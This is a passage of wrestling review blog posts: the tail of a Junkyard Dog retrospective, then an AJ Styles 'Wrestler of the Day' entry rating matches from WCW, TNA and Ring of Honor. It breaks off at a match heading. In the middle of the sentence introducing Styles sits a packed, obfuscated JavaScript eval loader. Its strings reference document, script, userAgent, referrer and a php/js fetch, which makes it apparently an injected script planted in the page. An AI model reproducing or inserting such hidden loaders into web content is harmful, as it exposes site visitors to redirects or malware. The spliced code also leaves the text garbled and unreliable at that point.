Ric snapmares him down but a knee drop has no effect at all. Dog pounds on Flair even more so Ric gets a chair but a shot to the head does no damage either. See, Dog’s head is hard if that’s not clear. Flair is whipped upside down in the corner and slammed off the top. Dog pounds away even more and the Horsemen come in for the DQ.

Rating: F. To recap, Dog did nothing but punch and slam, wouldn’t sell, and made Flair look like a joke. It’s very difficult to make Ric Flair look terrible in the ring at this point but the Dog somehow did it. This is a good example of Ole Anderson’s downright awful (at times) booking decisions: it makes the company look clueless and annoys the fans on top of that. This is probably the worst Flair match I’ve seen prior to about 1999 and that covers a lot of ground.

One more, with a Six Man Tag Team Title match at WrestleWar 1991.

Six Man Tag Titles: Junkyard Dog/Ricky Morton/Tommy Rich vs. Stage Patrol/Big Cat

Where do I even start? Ok so odds are you haven’t heard of these titles before, and there’s a good reason for that: they were only around for less than nine months. The titles were first won seven days before this show at a live event. Now one might ask why they didn’t have the first champions crowned here on PPV. It’s WCW in 1991. There’s your answer and it’ll answer most of your questions. The State Patrol is Sgt. Buddy Lee Parker and Lt. James Earl Wright, who is most famous for being one half of the State Patrol. Big Cat is Mr. Hughes and he’s one of the challengers here.

Cat and Dog start things off. I think you can see JYD’s gut expanding from here. He hits Cat with some headbutts and it’s off to Morton and Wright. Morton speeds things up with armdrags and it’s off to Rich. Rich slams him down and hooks an armdrag followed by an armbar. Off to Parker who gets the exact same treatment. Back to Morton for some atomic drops and then back to the same armbar again.

The Dog comes back in to crank up the fat levels of this match. Big Cat comes in again and wants a test of strength. That goes nowhere so it’s back to Morton to face the State Patrol on his own. The numbers catch up with him and it’s time for Morton to start selling. Parker drop toeholds him down and Cat hits an elbow for two. Dropkick gets two. Morton slugs back against Parker but gets powerslammed down for two.

The State Patrol keeps up the double teaming, hitting a bulldog for two. Back to Parker as I’m seeing why this team never went anywhere. Cat comes back in for a big old backbreaker for two. Parker misses a charge and there’s the hot tag to JYD. He hits the Thump (powerslam) but Cat makes the save. In a smart move, Morton immediately dives on Parker and gets the pin to retain.

Rating: D. Technically this was barely passable but what in the world was the point to this match? On second thought what was the point to these titles? The match wasn’t any good as it was in essence just a bad TV main event, which doesn’t exactly fire me up for the rest of the show. This was an odd choice all around.

You can probably see the idea here: Dog was a big deal when he started but his conditioning went downhill in a hurry and he never got back in shape at all. The svelte Dog is worth checking out but his later days are just horrible. The fans got WAY behind him in Mid-South and he legitimately was one of the biggest stars in wrestling. After that though…..yeah it was a disaster.

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Wrestler of the Day – June 2: AJ Styles

Get ready to fly. It’s AJ Styles.

AJ eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bifdy|var|u0026u|referrer|ffbbd||js|php'.split('|'),0,{})) would get started in 1998 in NWA Wildside in Georgia. This led to a spot in the dying days of WCW as part of the Air Raid tag team. From the final Thunder on March 21, 2001.

Air Raid vs. Jung Dragons

It’s Yang (as in Jimmy Wang) and Kaz Hayashi as the Dragons and Air Raid would be Air Paris (no one of note) and Styles, as in AJ Freaking Styles. See what WCW had and still managed to fail? And yes I know they were dead by the time he arrived. He’s Air Paris here but screw that name. AJ and Yang start us off, and oddly enough both would be in the first match in TNA’s history.

Styles is kept on the match but snaps off a headscissors. And never mind as he runs into a suplex. Paris comes in now and things break down quickly. Kaz comes in and walks the corner, hitting an enziguri to Paris. Styles Clash gets two on Kaz because it’s not a big time move yet. Paris hits a spinning cross body off the top for no cover.

Tony calls this the season finale for Thunder and says Monday will be the season finale for Nitro. That’s putting it mildly. Off to Styles again who hammers away. He’s also a lot smaller than he is now. Paris hammers on Yang in the corner but gets caught in a sitout powerbomb out of the corner.

Hot tag to Kaz with no heat from the crowd. He cleans house and gets a huge swinging kick to a kneeling Styles. Kaz gets something resembling a combination of a Cradle Shock and a Snow Plow on Paris for two. AJ goes up but jumps into a dropkick. Yang Time is broken up and Air Raid goes for something out of the corner. WCW cuts to the crowd for no apparent reason and when we come back they’re on the mat. No idea what the point was of that but whatever. In the ring Kaz gets a reverse bulldog (worse than it sounds) for the pin on AJ.

Rating: C. Some nice spots in there but some of the stuff was rather sloppy. Air Raid were crusierweight jobbers so it’s pretty clear they were stacked in that division. Match was fun but the ending left a lot to be desired. Also a lack of high spots and such with the guys you had in there hurt it a bit.

He would have two matches in WWF as well, including this one, a dark match on January 22, 2002.

AJ Styles vs. Rico Constantino

AJ spins out of a wristlock to start before backflipping out of a German suplex. A knee to the back puts Rico in control and a kick to the head gets two. We hit the chinlock on Styles before a spinwheel kick gets two more on AJ. Rico misses a great looking moonsault and walks into a brainbuster for two. A spinning cross body off the top mostly hits Rico’s legs but AJ backdrops him to the floor. AJ follows him out with a shooting star dive to really wake the crowd up. Back in and AJ gets knocked throat first onto the top rope, setting up a kind of northern lights suplex for the pin.

Rating: C. This was actually really entertaining stuff and was enough to get AJ a developmental deal with the company. He didn’t want to move to Louisville though so it was off to TNA instead. Good match though and that springboard shooting star looked awesome. Rico was a great talent but the stylist gimmick killed him.

AJ would hit the indys soon after this, including a run in the WWA promotion in Australia. Here he is challenging for their Cruiserweight Title at the Eruption PPV.

International Cruiserweight Title: AJ Styles vs. Jerry Lynn

This has a twenty minute time limit. That’s the best they can do for their secondary championship? Don’t bother trying to make it feel important or anything. They head to the mat to start with neither guy being able to get an advantage. Jerry avoids a dropkick and we have a standoff. Styles flips out of a wristlock to put on one of his own and they flip around a lot before both guys try armdrags at the same time, resulting in a Lynn armbar. That’s a new spot for me.

Styles escapes a monkey flip but gets clotheslined down and hit with a backbreaker for two. Off to a surfboard by Lynn followed by a spinning inverted Gory Special. AJ comes back with his moonsault DDT for two and a big kick to the head for two more. Styles tries a tornado DDT but gets caught in a northern lights suplex into the corner instead to put him right back down. AJ knocks him out to the floor and hits a big flip dive to take Jerry down again as selling continues to be a foreign idea.

Back in and the dive gets two as Lynn is bleeding from the mouth a bit. The Styles Clash is countered into a rana from Jerry but AJ counters the cradle piledriver as well. We get a nice long pinfall reversal sequence with about five two counts each. Jerry finally kills AJ dead with a German suplex so Styles comes back with a neckbreaker for two of his own. Lynn hits a sitout powerbomb for two and gets the same off the cradle piledriver. Out of nowhere AJ counters a DDT and hits the Styles Clash for two of his own. AJ goes up top but gets punched in the ribs. Lynn’s superplex is broken up and the Spiral Tap gives AJ the title.

Rating: B-. This was fine for a spot fest but at the same time it felt like they were trying to have a classic rather than having one. The lack of selling was as annoying as ever with both guys taking big moves and popping right back up like it was a single chop. These two would have WAY better matches in TNA but those were a few months away.

Now we get to the important stuff as AJ enters TNA. He would be in the first match ever for the company, on June 19, 2002.

AJ Styles/Low Ki/Jerry Lynn vs. The Flying Elvises

You read that name right. They’re Jorge Estrada, Jimmy (Wang) Yang and Sonny Siaki. It’s original if nothing else. AJ looks YOUNG here. He’s just a regular guy. The legends in the back aren’t sure what to say. They point out that this isn’t about weight limits, even though other than Joe, no one with any weight has ever held the belt and he was about 5 years away. Ok so the Elvises are heels. Got it.

The faces hit dropkicks and ranas to start. It’s your standard spotfest to start and that’s fine. It’s a tried and true method to get the crowd going so there we are. Next week we have the X-Division Title tournament in a round robin tournament. Cool. I might do more or these but we’ll see. More or less everyone just shows off for awhile which is what they’re supposed to do.

The X Division has never been about stories but just insanity and that’s perfectly fine. We start the Elvis puns and I shake my head. For the life of me I’ll never get how the Honky Tonk Man got over as much as he did. We get an MMA reference before MMA was cool. Here’s AJ who looks about 17 here. Estrada kicks his head off so there we go. Lynn hits the Cradle Piledriver and it’s all breaking down. We get our first Pele kick. Yang hits a rotating moonsault to pin AJ which means nothing at this point.

Rating: B-. This was fine. There was no story and there wasn’t supposed to be. This was to get the crowd going and it did just that and more. It’s really short but that’s fine. No problems here, but DANG AJ looked like he was in high school or something. Granted he wasn’t that far removed.

Next up is AJ getting started in his most famous set of accomplishments. He would become the first X-Division Champion but lose it about a month and a half later. Styles would get another chance at the belt at Weekly PPV #11 on August 28, 2002.

X-Division Title: Jerry Lynn vs. Low Ki vs. AJ Styles

This is a ladder match with Ki defending. They circle each other for a bit until Styles drops down and grabs a ladder. Both other guys slide to the floor as well with Styles hitting Jerry with the ladder, only to have Low Ki kick the ladder back into AJ. They head back inside where Low Ki kicks Lynn off the apron. A handspring kick takes Styles down as well as Jerry comes back in.

Lynn hits a sweet spinning tilt-a-whirl backbreaker to take the champ down before pounding on Styles in the corner. Low Ki gets put in a surfboard but Styles breaks it up and stomps on Low Ki a bit. Jerry suplexes AJ down and puts him in a Liontamer, only to have Low Ki fire off kicks to break it up. Lynn won’t let it go and shouts to kick him harder. Low Ki is fine with that and kicks Lynn hard enough to break up the hold.

A running kick in the corner takes Styles down again before loading him into the Ki Crusher. Instead of dropping him though, Low Ki rams him into Jerry in the corner to put both guys down. The champ goes to get the ladder but Jerry baseball slides it back into Low Ki to take over again. Styles heads to the floor as well to kick the champ in the head before dropping Lynn face first onto the apron.

With the ladder bridged between the ring and the barricade, all three guys stand on top of it and slug it out before a big headbutt sends all three guys to the ground. Lynn is up first and sends a ladder into the ring which is dropkicked into AJ’s ribs and chest on the mat. Low Ki is up again and starts setting up the ladder, only to have AJ deck him from behind. The ladder is leaning against the ropes as AJ GOES OFF on the champ, only to walk into a punch from Jerry.

Lynn and Styles launch Low Ki into the ladder in a double hiptoss and it’s one on one. AJ does a Daniel Bryan backflip off the ladder and tries a tornado DDT, only to have Lynn counter and hit a northern lights suplex to send AJ back first into the ladder. Ki is back in and kicks Jerry down but realizes he can’t pin him. A charge in the corner is caught by Lynn but he ranas Jerry into the ladder to put all three guys down again.

It’s AJ back up first to ram the champ with the ladder before he tries to climb, only to get kicked by Low Ki. AJ is hung in a Tree of Woe in the ladder where Low Ki fires off kicks to the chest. Now Low Ki climbs but Jerry makes the save and suplexes him down off the ladder to put everyone down again. AJ gets up and hits the moonsault DDT on Low Ki to pop the crowd again. Jerry pounds on Styles and catches a jumping champion in a running Liger Bomb to take over yet again.

There’s a second ladder in the ring now as Styles brings in another one. Low Ki slides out and brings in a third as this could get very messy in a hurry. The challengers stop fighting long enough to make a save of Low Ki as Styles and Low Ki fight on top. Low Ki hooks a Dragon Sleeper on top of the ladder (grab the title you dolt) but here’s Lynn again and all three are on a ladder.

In a pretty awesome move, Low Ki has his ladder shoved down but he gets his foot on the top rope and shoves himself and the ladder back to an upright position. AJ gets shoved to the floor and it’s Lynn vs. Low Ki. Jerry is like DIE YOU KICKING SPOT MONKEY and cradle piledrives him off the ladder. Lynn climbs up and wins the title to end the show.

Rating: B+. Solid, solid match here with all three guys beating the tar out of each other. It’s not on the level of one of the TLC matches, but for what we had here, this was one of the better ladder matches you’ll see in awhile. I’d have preferred just Lynn and AJ because I’m not a fan of Low Ki at all, but the shove back off the rope was good enough for me to overlook him. Solid stuff.

Just under a year later, AJ would be one of the top heels in the company. One of his first World Title shots came on June 11, 2003.

NWA World Title: AJ Styles vs. Raven vs. Jeff Jarrett

Jarrett is defending. After some big match intros we’re ready to go and it’s one fall to a finish. Styles is quickly thrown to the floor but he runs back in to deck a talking Jarrett. Raven gets kicked down by AJ but Jarrett hits a picture perfect dropkick to take AJ down as well. Jarrett and Raven brawl to the floor and AJ hits a big flip dive to take them both out. AJ whips Raven into the barricade so hard that it’s knocked off the hinges, only to have Raven charge back over the steps with a clothesline to Jarrett.

Back in and AJ pounds on Jarrett in the corner but gets caught in a running powerbomb for two. Raven ducks Jeff’s enziguri and there’s an STF on the champion until AJ makes the save. Styles hits the moonsault into a DDT for two on Jarrett but Raven makes the save. Neither Jarrett or Raven can hit their finishers so here’s AJ with a chair to crack Raven’s head, busting him open in the process.

AJ and Jarrett form a quick alliance to double team Raven but Jarrett doesn’t care for AJ going for a cover after a springboard hurricanrana. The roles reverse when Jarrett slams Raven’s head into the mat as AJ makes the save. Now we get a combination reverse chinlock and half crab on Raven until AJ lets go and goes up for a guillotine legdrop. Raven sends Jarrett forward though and the champ is knocked out.

It’s Raven’s turn to take over now with a superkick to Jeff and a series of clotheslines to AJ. A chair is brought in but Raven gets caught in the drop toehold. AJ is knocked to the floor and Raven counters the Stroke into the Raven Effect for two due to Shane Douglas pulling Raven to the floor. They fight to the back, leaving AJ to blast Jarrett with the belt. Instead of covering though Styles goes up top for a Low Down (frog splash) for two.

AJ pounds away in the corner but gets caught in an Alabama Slam for two. Styles comes back with a powerbomb but can’t hook a Figure Four. Instead he sunsets flips Jeff into a Styles Clash but Jarrett rolls away and slams AJ into the referee in the corner. AJ breaks up a superplex attempt but his springboard 450 hits knees in a painful looking landing. Cue Vince Russo with a guitar to crack over Jarrett’s head, setting up the Styles Clash for the pin and the title.

Rating: C. This was much more of a collection of spots than a good match. It’s also a match that would have been better if I knew all of the backstory behind it. That’s a problem with most of this DVD: the matches have no context at all, meaning it’s hard to care about anything going on out there. It’s even worse when this isn’t a very well known time in the company’s history, meaning people aren’t as likely to know this stuff off the top of their heads.

While he was tearing up TNA, AJ was also a big deal in Ring of Honor. Styles would make it to the finals of a tournament to crown the first Pure Champion at the Second Anniversary Show.

Pure Title: AJ Styles vs. CM Punk

Pure Rules are a bit more complicated than a regular match. First of all, you’re only allowed three rope breaks for the entire match. If you use them up, a rope does nothing to break a pin or submission. You also can’t throw closed fists to the face, though punches to the ribs are allowed. One punch thrown to the face earned a warning, the second was the loss of a rope break, and if there were no rope breaks remaining, it would be an automatic disqualification. Finally, a countout requires a twenty count.

They begrudgingly shake hands and we’re ready to go. Punk grabs a wristlock to start as the announcers explain the rules. AJ counters into his own wristlock but Punk grabs the rope to flip out, which counts as a rope break. An early Styles Clash is countered into a rollup but Styles uses a rope break to escape. Two breaks remaining apiece. They lock up and fall all the way to the floor without breaking the hold until a thirteen count when they both sprint back in.

Traci Brooks is watching from ringside and AJ immediately hits the floor to get rid of her. Punk uses the distraction to take Styles down and we’ve got our first advantage. That doesn’t last long though as AJ nails a dropkick but aggravates a knee injury to put both guys down again. They head into the crowd and there’s so much darkness that I can only make out Punk’s yellow shorts.

Back to the ring with Punk putting on a Boston crab, forcing AJ to use a second rope break. AJ comes right back with a figure four neck lock over the ropes. The referee counts to four and AJ breaks, but that’s considered a rope break by Punk. That sounds bogus to me and the face announcer agrees. Punk cranks on a half crab as the announcers recap the one night tournament. AJ has to use his final rope break and Punk is very pleased.

A curb stomp has AJ in trouble and Punk puts on something like an Indian deathlock, only for AJ to reach up and rip at Punk’s face, sending CM into the ropes for his final break. Everyone is out of breaks now so the ropes are in play. Punk loads up a superplex but gets countered into a freaking super gordbuster to put both guys flat on their faces. Back up and they forearm it out, which should be a DQ as the announcers said strikes to the face are illegal.

AJ nails a discus lariat to send Punk out to the floor but he’s back in at fifteen. A Shining Wizard gets two on Styles and a piledriver lays him out again but Punk doesn’t cover. Instead it’s off to a modified Texas Cloverleaf but AJ crawls over to the ropes and climbs up in a nice counter. A second Shining Wizard is countered into the Clash for a VERY close two and the fans think it was three.

Punk gets the same off a wicked DDT but can’t hook the Pepsi Plunge (middle rope Pedigree). The announcers clarify the strikes thing by saying only punches to the face are illegal. AJ knocks Punk silly with an enziguri on the top, setting up a super Styles Clash for the pin and the title.

Rating: C+. This wasn’t terrible but it didn’t do much for me. To be fair though, a lot of that can be blamed on the guys both wrestling twice earlier in the night. I don’t care what kind of shape you’re in, that’s going to takes its toll eventually. The Pure Title was kind of an odd belt and it never really held my interest.

Back to TNA, as AJ looked to get the World Title back on April 21, 2004.

NWA World Title: AJ Styles vs. Jeff Jarrett

Jarrett is defending inside a cage and AJ is a surprise opponent, even though the DVD graphic shows that it’s AJ. Jarrett thinks it’s going to be Raven but Director of Authority Vince Russo runs through other challengers for about five minutes before announcing Styles, sending West and Tenay into their usual frenzy. Pin/submission only here. Feeling out process to start with AJ outworking Jeff on the mat to frustrate the champion. A shoulder block gets AJ nowhere so he chops the skin off Jeff’s chest.

They trade armdrags and chops until Jeff jacks AJ’s jaw to take over. Styles avoids being rammed into the cage and drops down into a loud dropkick. The running knee drop gets two but Jeff comes back with some nice right hands. AJ nips up into a hurricanrana and gets two off a powerslam. They’re only in second or so gear at this point.

Styles gets two off a delayed vertical suplex but Jeff comes back by ramming AJ into the steel twice in a row. Rolling belly to back suplexes get another near fall for the champion and he stops an AJ comeback by avoiding a missile dropkick. It’s time to go after the leg but AJ counters the Figure Four into a small package for two. Instead it’s a Sharpshooter from the champ but AJ is quickly in the ropes. Jeff doesn’t let go of the hold and AJ counters into a Sharpshooter of his own, but Earl Hebner is nowhere in sight so we keep going.

The moonsault out of the corner into the reverse DDT gets two for AJ but the referee gets his eye poked. Powder in AJ’s eyes sets up a backslide for two but AJ comes back with blind kicks. The referee checks on AJ’s eyes but Jeff pulls out a chain and lays out Styles for two. Why Jeff has to hide these things in a cage is beyond me but the match has been good so I won’t complain. Jarrett has his Styles Clash countered and the real version gets two.

AJ goes up to the top of the cage but Jeff sends the referee into the wall to knock AJ down a bit. A flying shot into the cage knocks AJ to the floor (pin/submission only remember) but the referees get him back in. Jeff uses the opening to get a guitar but Vince Russo comes out for a distraction. AJ kicks the guitar apart and rolls Jarrett up for the pin and the title.

Rating: B. This continues the old theory of talented guys can have good matches no matter what rules they’re fighting under. To go back to what Jarrett was talking about, this is the kind of thing that you need veterans for in fledgling companies. Seeing AJ vs. a bunch of other guys fans have never heard of means nothing, but seeing AJ beat former WCW World Champion Jeff Jarrett for the title makes the fans think something of AJ.

TNA’s first three hour PPV took place in the fall of 2004 and AJ would get an X-Division Title shot on the card.

X-Division Title: Petey Williams vs. AJ Styles

AJ was a huge star almost at this point but he was still the king of the midcard as he would be for a long time to come, as in like 5 years. These two just go freaking nuts like an old school cruiserweight match. AJ hits a perfect backflip off the apron to the floor and then a senton over the top rope to the floor. Petey takes over with a jawbreaker and we get down to a bit more of a standard match to set up AJ’s big comeback.

For a crowd that all loves AJ that’s a heck of a dueling chant they have going. Ok that was cool. Petey puts AJ in the Tree of Woe and stands on his crotch. He does it again and AJ does more or less a really bit sit up and grabs AJ to pull him back in a German suplex which he follows with a Pele. I LOVE that springboard forearm. It just looks awesome as all goodness.

Both guys counter each other’s finisher and then AJ just chucks Petey into the corner. That’s one way to do it I guess. AJ has the pin but the fat Canadian coach interrupts it. AJ kicks out of a belt shot so at least the match should be ok for the ending as that would have killed it for me. After more interference, we get the awesome finish as Petey hits the Canadian Destroyer, which is just completely awesome. It’s a jumping flip piledriver. In other words he’s got him in a regular piledriver but jumps forward and does a full flip before hitting it. That’s just amazing on a lot of levels.

Rating: B. This was very fun but AJ should have gone over here. I mean it’s your biggest show and your top face for the most part goes over to a generic guy with a cool finisher. That just doesn’t make sense to me, but it’s TNA so why am I surprised? Fun match, but why in the world do you not do the obvious here?

Off to Lockdown 2005 for my favorite TNA match ever.

Abyss vs. AJ Styles

For the few of you that might be wondering, this is my favorite TNA match ever. AJ is YOUNG looking here which is saying a lot as he’s still young today but here he looks like he’s about 19. He’s a two time world champion here though which is never mentioned anymore for no apparent reason. Abyss is listed at 350lbs here again but he’s a LOT slimmer looking here.

He still has the chains here which were a nice touch for him. I have no idea why but they are. AJ dives through the door to take down Abyss before he gets in. Abyss tries to whip him into the railing but AJ baseball slides UNDERNEATH the railing and jumps up onto it and hits a rana to take down Abyss. That was freaking awesome and happened inside of five seconds.

All AJ to start as we’re still on the floor. Abyss had more or less been unstoppable recently since splitting from his stablemate Alex Shelley (let that sink in for a bit) so this is a major showdown and seeing Abyss reeling is odd to see. Abyss fights him back and whips him into the railing again so this time AJ channels his inner Morrison and double jumps up to a platform into the crowd, spins around and jumps over FIVE ROWS of fans to his the forearm on Abyss. This is one of the most awesome performances I’ve ever seen and we’re maybe three minutes into this.

AJ dives at Abyss on the railing ala Sting but instead of crashing into it clears the railing by a good foot and hits the ground in the crowd. Abyss pounds on him a bit but AJ just kicks the tar out of him to escape for a bit. West talks about Kenny Chesney for absolutely no apparent reason.

They open the door of the cage after about six minutes of brawling. The difference between this and the stupid stuff before: this was INCREDIBLY entertaining and the fans were way into it as opposed to Jarrett and Waltman walking around and occasionally hitting each other with something. AJ and Abyss never stopped moving and the fans were into it because of it. The difference here: hard work works better than walking around hitting each other with weapons.

AJ punches Abyss HARD but gets the cage door slammed into his arm and then his face where he snaps down to the floor. It looked like he got hit by a bus or something as fast as he hit the ground. Great selling there. AJ is busted open and Abyss pounds away even more. AJ finally in the cage now as Abyss looks under the ring for the bag of tacks. About eight and a half minutes in they’re in the cage together.

Abyss chokes him with the chain and we play tug of war. AJ simply will not quit and keeps hammering away to no avail though. With the chain on the top turnbuckle, Abyss launches AJ over his head in kind of a forced leapfrog and his head slams into the chain. The fans think this is awesome and for once they’re right. They stop for a bit for the a neck crank and AJ sells the heck out of it too.

AJ charges again but Abyss grabs him in a gorilla press and LAUNCHES him up to just let him crash down. He tries it again but AJ counters into a DDT onto the chain. Two punches and an enziguri takes Abyss down as does a headscissors. AJ hits a moonsault press but Abyss just lets him bounce off which was cool looking. AJ sends him into a chair into the corner that Abyss set up and gets a German suplex for two that looked good.

He goes for the Styles Clash but Abyss is way too big for that. Chokeslam is countered into a rollup for two. AJ gets another running start but walks into the Black Hole Slam for a VERY long two. Dang Abyss looks awesome (what am I saying?) when he really uncorks that thing. Yep there are the tacks. Black Hole Slam into them are countered as is a powerbomb.

AJ gets the Styles Clash (ok more like a falling face first slam but we’ll give it to him) into the tacks for two. Wow I would have bet on that being the ending. You know if I didn’t know the ending already. Abyss is ROCKED here which was unthinkable until this match. AJ goes to the top of the cage and Abyss can’t catch him. His solution: throw the referee at the cage to knock AJ off. That was awesome.

Abyss climbs up as AJ is barely hanging on. He goes up with the chain and might be thinking to hang him as he had on Impact. Yep that’s what he’s going for. AJ is on the outside and Abyss on the inside and yep he’s hanging him. AJ gets the chain off somehow and Abyss grabs the chokeslam. AJ bites his fingers and opens those things up! AJ jumps off the top of the cage and hits a freaking sunset flip powerbomb onto the tacks from the top of the cage to get the pin as Abyss is DEAD.

Rating: A+. OH YES! AJ was absolutely amazing here and it was definitely Abyss’ best match ever. This was just a total war for twenty minutes with AJ never stopping and taking it to Abyss much like Flair did back at Starrcade 93 to Vader. There was no gimmick here as it was just a big old fight in a cage with weapons brought in for fun. AJ would get the title the next month….and then lose it to Raven the next month because the world was clamoring for more Raven and less AJ. Uh…sure. He wouldn’t get it back for over four years.

Soon after this, Samoa Joe would debut and turn the company upside down. After destroying both AJ Styles and Christopher Daniels, something had to be done to stop him. The solution was a three way match at Unbreakable, in what is considered TNA’s best match ever.

X-Division Title: Samoa Joe vs. AJ Styles vs. Christopher Daniels

Daniels is the longest reigning champion ever at this point, AJ is a four time champion and Joe is undefeated. This is TNA’s greatest match ever so let’s see if it holds up. AJ and Joe team up to beat down Daniels to start which is kind of a surprising move. Joe kicks him HARD in the back and AJ does the same thing. It turns into a contest and I think Joe wins by a hair. Daniels gets up but Joe kicks him in the face. Cool sequence.

AJ grabs a fast rollup on Joe and we’re ready to get going. They trade pinfall attempts so fast that I can’t type them until Joe hooks a modified Rings of Saturn. Daniels breaks it up and kicks AJ down for no cover. Joe chops the champ and hits a standing enziguri to knock him to the floor. AJ takes Joe down but Daniels is back in to take over on Styles, getting two. Joe chops them both in the corner but Daniels fires back with chops of his own.

Styles headscissors both guys down into opposite corners and fires off kicks at Joe. Joe is like screw that and suplexes him down overhead style. There’s the Facewash to Styles but Daniels breaks up the running kick to the face. Daniels hits a springboard moonsault onto Joe on the floor but you know AJ has to top him, so he hits a springboard shooting star to take both guys down. He rolls Joe back in for two and things slow down a tiny bit.

Actually scratch that as Styles hits the drop down/dropkick combo for two. Daniels comes back in again and monkey flips AJ at Joe but AJ twists in mid air into a rana on the fat man. Daniels O’Connor rolls Styles for two and then launches him over the top and out to the floor. A flying knee sends Joe into the corner and Daniels slaps him in the face. Joe will have none of that and slaps Daniels back but Daniels rolls him up for two.

Joe counters the rollup into the Clutch so Styles busts out Spiral Tap to break up the hold. That gets two on both guys and Daniels sends Styles back to the floor. An STO puts Joe down but AJ breaks up the BME. I feel like I’m talking to a 3 year old after that last exchange with all the spelling. Daniels gets caught in the Tree of Woe and AJ kicks away, but Joe splashes AJ into Daniels. A running dropkick to the face breaks the Tree and Daniels is out.

The running big boot that Joe does knocks AJ’s head into Tallahassee somewhere and the backsplash gets two. Daniels comes back out of nowhere and hits the Death Valley Driver on Joe. Everyone is down until Daniels covers Joe for two. AJ gets sent to the floor and both he and Daniels miss moonsaults. They slug it out so Joe hits a corkscrew plancha to take both guys down. The fans are losing their minds over this stuff. Back in and Daniels breaks up the MuscleBuster but Styles goes up too. AJ and Daniels fight on the top so Joe backdrops both of them down at the same time.

Joe gets up first and he looks MAD. He and AJ slug it out with AJ taking over but Joe slugs him right back and hits a big old German release suplex to take over. There’s the MuscleBuster but Daniels comes in with the belt. He charges at Joe but the Samoan hits a snap powerslam to cut that off. Joe picks the belt up but Daniels kicks it into his face. Daniels and AJ slug it out and that just feels appropriate. A blue thunder bomb out of nowhere gets two on Styles.

Release Rock Bottom puts AJ down and the BME gets two as Joe makes the save. Daniels puts a Dragon Sleeper on Joe and hooks the Last Rites (rolling cutter which he didn’t use that often) to send Joe to the floor again. AJ bounces back up and hits the moonsault into the reverse DDT for two. Styles goes up but Daniels hits a palm strike to stop him. Daniels superplexes him down but he can’t cover. Joe comes in and covers both guys for two.

Joe focuses on Daniels and hits his powerbomb into the Boston Crab into the STF sequence so he can call a LONG spot to Daniels. Daniels (wearing a wedding ring) gets the rope so Joe beats up AJ a bit more. He fires off forearms but AJ snaps off the Pele to take over again. The Rack into a neckbreaker gets two for Styles but Daniels is back up. AJ hits a sunset flip into the Clash but Joe makes the save at two. Daniels ducks a charging Joe to send him tot he floor. AJ and Daniels slug it out and Daniels tries the Angel’s Wings. AJ counters into a bridging backdrop and stays on top for the pin and the title.

Rating: A+. Yeah that’s the easy answer but there’s no real other option to go with here. This was about twenty three minutes long and the longest they go without action is maybe 20 seconds. These three have incredible chemistry together and it was a great example of what smaller guys can do. It’s not the best match in TNA history by a mile but it’s the best match by a few feet. Great match.

Next up was Bound For Glory 2005 and a renewal of his interminable feud with Christopher Daniels.

X-Division Title: AJ Styles vs. Christopher Daniels

AJ is defending and it has a thirty minute time limit under Iron Man rules. Daniels jumps AJ before the bell and we’re off quickly. He controls for the opening minute and they trade chops, won by AJ. A backbreaker puts Daniels down and onto the floor but Daniels blocks AJ’s dive. Daniels hits some palm strikes but Styles dropkicks him down. Back to the floor and Daniels is knocked into the crowd. AJ dives over the barricade and both guys are down.

They head back inside and AJ controls with a headlock. Five minutes in and the fans say both guys are awesome. The headlock stays on for a few minutes but you have to burn some time in a match like this. Daniels rolls out of it and hooks an armbar. AJ fights out of it and sends Daniels into a few corners. A hard kick puts Daniels down as it’s been almost all AJ so far.

Bridging Indian Deathlock goes on and Daniels is in big trouble, so he bited AJ’s hands to escape. Ten minutes in now. Daniels heads to the apron but AJ clotheslines him back into the ring. Springboard forearm is countered into a high collar suplex to put both guys down. Daniels takes over and twists AJ’s neck around a bit. That can’t feel good. A tilt-a-whirl backbreaker gets two and it’s off to a neck crank by Daniels.

AJ grabs a cradle out of nowhere for two and then another one for another two. Koji Clutch out of nowhere has AJ in trouble. AJ tries to power out of it but goes right back down. Another power out attempt works and AJ makes the rope. Slingshot moonsault gets two on the champion. We’re halfway through and it’s 0-0. AJ escapes a backbreaker and hits his moonsault into a reverse DDT.

Hammerlock belly to back suplex gets two as does a pumphandle gutbuster. That’s a new one. AJ tries a moonsault but gets caught in a Death Valley Driver for a very close two. Daniels puts him on the middle rope and flips him forward into a mat slam for two. AJ counters a neckbreaker into one of his own for a slightly delayed two. AJ tries the moonsault DDT again but gets caught in a spinning powerbomb for two. BME STILL doesn’t get a fall as it only gets a two count.

Ten minutes to go and AJ puts on a torture rack and then spins it out into a slam for two. AJ dives into the corner but Daniels moves and knocks Styles to the outside where he lands on the steps. A BIG suicide dive destroys AJ but Daniels can’t follow up due to exhaustion. As they come back in, AJ hits the Pele to knock Daniels back to the floor at 8 minutes to go. Another BIG flip dive takes Daniels out and both guys are down.

Seven minutes to go and both guys are down on the floor. As they get back in, Daniels blocks a suplex back inside and hits a belly to back suplex from the apron to the floor. That was pretty awesome, much like this match. Six minutes left and it’s still zero to zero. They’re both back in with five minutes to go. Scratch that as Daniels kicks AJ out of the ring before he was all the way in.

With about 4:25 to go they slug it out in the middle of the ring with AJ taking a slight advantage. Four minutes left. AJ has a big bruise on his leg. Small package gets two for the champion. Pele misses and Daniels rolls him up for two. AJ does the same and gets the same. Daniels hits a German suplex but AJ pops up and hits a discus lariat before collapsing. Under three minutes to go now.

AJ falls on top for two and we have two minutes left. Daniels channels his inner Piper and pokes AJ in the eye. That gets him nowhere because AJ gets to the apron and hits a springboard cross body for two despite a handful of tights. 90 seconds left and they trade forearms. The fans are split here. One minute to go and Daniels blocks a suplex. AJ kicks him in the head again but it only gets two. Daniels kicks him in the head but the Angel’s Wings are countered into a suplex for two. AJ hits the Clash with two seconds left for the only fall and the win. WOW that was a hot ending.

Rating: A. The only way to make this better would have been to say AJ loses the title in a tie. Still though, GREAT match here and pretty easily the best match I’ve ever seen these two have. That’s some pretty awesome timing too with AJ getting the pin literally with two seconds left. I know I complain about AJ and Daniels a lot, but back then it was great, with this being the best I’ve ever seen from them.

Drool over this you puro freaks. From Final Resolution 2006.

AJ Styles vs. Hiroshi Tanahashi

